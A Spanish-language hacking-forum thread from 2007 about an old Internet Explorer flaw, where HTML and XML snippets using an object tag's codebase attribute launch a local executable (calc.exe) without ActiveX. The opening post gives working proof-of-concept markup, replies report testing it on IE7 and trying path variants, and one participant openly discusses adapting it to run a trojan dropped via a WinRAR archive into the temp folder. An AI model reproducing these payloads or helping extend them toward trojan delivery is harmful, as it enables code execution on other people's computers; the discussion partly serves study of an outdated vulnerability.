elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 13:23  


Tema destacado: ¡Aprende hacking con práctica! - WarZone, el wargame de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Internet Explorer: Ejecución de código arbitrario sin ActiveX
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Internet Explorer: Ejecución de código arbitrario sin ActiveX  (Leído 3,250 veces)
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Internet Explorer: Ejecución de código arbitrario sin ActiveX
« en: 22 Septiembre 2007, 17:56 »

Citar

   Internet Explorer: Ejecución de código arbitrario sin ActiveX
   
     [Descripción]
   
        En Junio del 2002 se publicó un artículo titulado "The Pull", el cual demostraba como era posible aprovechar
        una vieja vulnerabilidad, descubierta inicialmente por Dildog, que ejecutaba código arbitrario mediante
        el elemento object de HTML.

        A pesar de lo fascinante que había resultado el artículo, éste no estaba totalmente en lo cierto,
        afirmaba que el problema estaba ligado directamente con el objeto popup, cuando en realidad el problema
        se encontraba dinamicamente en con cualquier fragmento de HTML.

        El método createPopup crea una nueva ventana vacía que en sí no plantea ninguna amenaza, en cambio,
        mediante el método innerHTML es posible inyectar código en esta ventana vacía, y he aquí donde
        se plantea el problema real.

       <span id="oSpan"></span>
        <script language="jscript" defer>
                oSpan.innerHTML='<object
                classid="clsid:11111111-1111-1111-1111-111111111111"
                codebase="c:/windows/system32/calc.exe"></object>';
        </script>

        Nota: innerHTML no es la única propiedad usada dinamicamente para insertar HTML.

        Una vez identificado el origen del problema es posible iniciar la búsqueda de nuevas maneras para insertar
        HTML dinamicamente sin usar ningún lenguaje de escritura (scripting) en la página Web, ampliando así el
        alcance de la explotación ante productos "protegidos" cómo Microsoft Outlook o Internet Explorer
        con ActiveX inhabilitado.

        En el siguiente ejemplo se realizará la explotación de la vulnerabilidad usando XML, sin la necesidad de
        realizar peticiones externas que podrían detener la ejecución del código en pleno proceso.

        <span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
         <xml id="oExec">
                <security>
                        <exploit>
                                <![CDATA[
                                <object id="oFile"
                                classid="clsid:11111111-1111-1111-1111-111111111111"
                                codebase="c:/windows/system32/calc.exe"></object>
                                ]]>
                        </exploit>
                </security>
        </xml>


     [Versiones afectadas]
        - Internet Explorer 5.5 (Windows 98)
        - Internet Explorer 5.5 (Windows NT4)
        - Internet Explorer 6 (Windows 2000)
        - Internet Explorer 6 (Windows XP)
      
     [Enlaces]

        - Advisory: http://www.greymagic.com/security/advisories/gm001-ie

En línea
Ilorev


Desconectado Desconectado

Mensajes: 473


???


Ver Perfil
Re: Internet Explorer: Ejecución de código arbitrario sin ActiveX
« Respuesta #1 en: 22 Septiembre 2007, 18:28 »

k haria sin firefox! !! grax por la info
En línea

EOF
EvilGoblin


Desconectado Desconectado

Mensajes: 2.320


YO NO LA VOTE!


Ver Perfil
Re: Internet Explorer: Ejecución de código arbitrario sin ActiveX
« Respuesta #2 en: 22 Septiembre 2007, 18:49 »

Creo un documento xml... le pongo ese codigo...

lo subo a una web....

y me deberia abrir la calculadora al ver la pagina?

o entendi mal ? =$
En línea

Experimental Serial Lain [Linux User]
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Internet Explorer: Ejecución de código arbitrario sin ActiveX
« Respuesta #3 en: 22 Septiembre 2007, 19:58 »

El formato del documento debe de ser uno que el navegador interprete como página Web, HTML mismo.

Al parecer el fallo solo puede ser explotado localmente, si alguien realiza la explotación remotamente, lo cual dudo, que avise.
En línea
Achernar


Desconectado Desconectado

Mensajes: 317



Ver Perfil
Re: Internet Explorer: Ejecución de código arbitrario sin ActiveX
« Respuesta #4 en: 25 Septiembre 2007, 02:43 »

pero esto no es del 2002????????????
En línea
Preth00nker

Desconectado Desconectado

Mensajes: 43


Mov MyHeart, 4C6F7665h!!!


Ver Perfil
Re: Internet Explorer: Ejecución de código arbitrario sin ActiveX
« Respuesta #5 en: 25 Septiembre 2007, 15:22 »

Efectivamente, esa vulnerabilidad fue descubierta en el 2002, pero como se puede notar, no fue correctamente parchada, por eso no es bueno dar algo por hecho.. (Cita a la teoría de la relatividad de Albert einstein), muchas vulnerabilidades nunca son parchadas totalmente, por eso es bueno retomar exploits pasados y hecharles un ojo, ademas se aprende mucho :).
por cierto, solo funciona en local.
un saludo
En línea

mov [MyBrain], IA
Achernar


Desconectado Desconectado

Mensajes: 317



Ver Perfil
Re: Internet Explorer: Ejecución de código arbitrario sin ActiveX
« Respuesta #6 en: 25 Septiembre 2007, 18:27 »

efectivamente le hice un test en el IE7 y alli estaba la calculadora de windows invitandome a jugar  ;D ;D ;D ;D
pero igual (detalle menor) aparece la barrita amarilla arriba que dice:
"Para ayudar a proteger su seguridad, Internet Explorer impidiò que esta pàgina web ejecutara scripts o controles ActiveX que podrían obtener acceso al equipo. Haga clic aqui para ver sus opciones..."
« Última modificación: 25 Septiembre 2007, 18:31 por Achernar » En línea
WHK
吴阿卡
Ex-Staff
*
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: Internet Explorer: Ejecución de código arbitrario sin ActiveX
« Respuesta #7 en: 27 Septiembre 2007, 00:05 »

Código
       <span id="oSpan"></span>
       <script language="jscript" defer>
               oSpan.innerHTML='<object
               classid="clsid:11111111-1111-1111-1111-111111111111"
               codebase="c:/windows/system32/calc.exe"></object>';
       </script>
También me apareció la barrita amarilla al crearlo en un archivo html pero no se ejecutó nada ni tampoco aparecía en la lista de procesos.

De todas formas esto si me funcionó en la última versión de internet explorer 7:
Código
        <span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
        <xml id="oExec">
               <security>
                       <exploit>
                               <![CDATA[
                               <object id="oFile"
                               classid="clsid:11111111-1111-1111-1111-111111111111"
                               codebase="c:/windows/system32/calc.exe"></object>
                               ]]>
                       </exploit>
               </security>
       </xml>

Intenté modificarlo para intentar hacerlo remoto pero no se pudo:
Código
codebase="file:///C|/windows/system32/calc.exe"></object>
Código
codebase="C:/windows/system32/calc.exe"></object>
Código
codebase="C:\windows\system32\calc.exe"></object>
Código
codebase="file:///C|\windows\system32\calc.exe"></object>
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
Achernar


Desconectado Desconectado

Mensajes: 317



Ver Perfil
Re: Internet Explorer: Ejecución de código arbitrario sin ActiveX
« Respuesta #8 en: 27 Septiembre 2007, 00:22 »

bueno voy a necesitar un poco de ayuda... el exploit solo ejecuta archivos en la rama c:/windows lo que este ahi dentro cmd.exe notepad.exe explorer.exe o si lograron meter un troyano ahi, tambien lo ejecuta (pero nada fuera). Tampoco se pueden pasar parametros como "cmd.exe /c start E:\troyano.exe" asi que se pone dificil usar esto. Pero descubri media solucion... %temp% esta dentro de la rama c:/windows y cuando abris un archivo con el winrar.. suponiendo que dentro del comprimido este exploit.html y troyano.exe al descomprimir se crea una carpeta en %temp% con estos dos archivos descomprmidos la carpeta tiene siempre este nombre rar$LLNN.NNN donde L = letra y  N = numero (L y N son aleatorios, o por lomenos no encuentro la logica) si el exploit ejecutara

C:/DOCUME~1/PC~1/CONFIG~1/Temp/rar$LLNN.NNN/troyano.exe

solo bastaria con hacer clic en el html del archivo comprimido con el winrar para que se ejecute el troyano. los problemas son:

- encontrar el nombre de la carpeta creada para armar el path del troyano
- el directorio PC~1 cambia de maquina en maquina (es el nombre de la maquina)

intente con winzip y no crea ninguna carpeta me quito un problema, pero no descomprime todos los archivos, sino que solamente de a uno.

alquien conoce algun programa que cree archivos temporales o alguna manera de aprovechar mejor este exploit que crear una calculadora??

sino (para local).. me voy a tener que volver al viejo cd con el archivo ini  :-\

PD: tambien intente modificar la inclinacion de las barras / --> \ y de este modo no funciona, ¿que significa exactamente las barras en esta direccion '/' ? ¿que se trata abrir un archivo solamente? ¿es por esto que no toma parametros?
« Última modificación: 27 Septiembre 2007, 00:27 por Achernar » En línea
WHK
吴阿卡
Ex-Staff
*
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: Internet Explorer: Ejecución de código arbitrario sin ActiveX
« Respuesta #9 en: 27 Septiembre 2007, 03:02 »

Talves se pueda codificar el ejecutable en mime tal como se mostraba en hackxcrack mhtml o mht
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
WHK
吴阿卡
Ex-Staff
*
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: Internet Explorer: Ejecución de código arbitrario sin ActiveX
« Respuesta #10 en: 27 Septiembre 2007, 06:04 »

Hice un video.. se parece un poco al de pdp sobre el 0day en archivos PDF ya que también puede explotarse desde ahi  :P

http://whk.sitehacking.net/wp-content/themes/PoCs/IE7-CER/
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
Achernar


Desconectado Desconectado

Mensajes: 317



Ver Perfil
Re: Internet Explorer: Ejecución de código arbitrario sin ActiveX
« Respuesta #11 en: 27 Septiembre 2007, 15:36 »

Talves se pueda codificar el ejecutable en mime tal como se mostraba en hackxcrack mhtml o mht

podrias explicar eso? o indicarme en que numero de la HxC esta?

vi el video y di una vueltita por la pagina, pero sigue solo ejecutando la calculadora y no promete mucho mas que eso.. a menos que la calculadora de windows pueda sembrar el terror en las masas  ;D ;D ;D ;D
Asi que eso de Ejecución de código arbitrario no es tan arbitrario que digamos.
En línea
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Internet Explorer: Ejecución de código arbitrario sin ActiveX
« Respuesta #12 en: 27 Septiembre 2007, 16:27 »

¿Prueva?  :-\
En línea
WHK
吴阿卡
Ex-Staff
*
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: Internet Explorer: Ejecución de código arbitrario sin ActiveX
« Respuesta #13 en: 27 Septiembre 2007, 21:34 »

Arreglado  :-[
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema, con Ejecucion del Explorer.EXE error(0xc0000022)
Windows
robertftw 5 14,377 Último mensaje 31 Diciembre 2010, 13:15
por Randomize
Ejecución de código arbitrario en ClamAV
Noticias
wolfbcn 1 605 Último mensaje 25 Febrero 2011, 14:56
por Gurowner
Ejecución de código arbitrario a través del comando hardlink
Noticias
wolfbcn 0 244 Último mensaje 18 Octubre 2011, 15:24
por wolfbcn
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines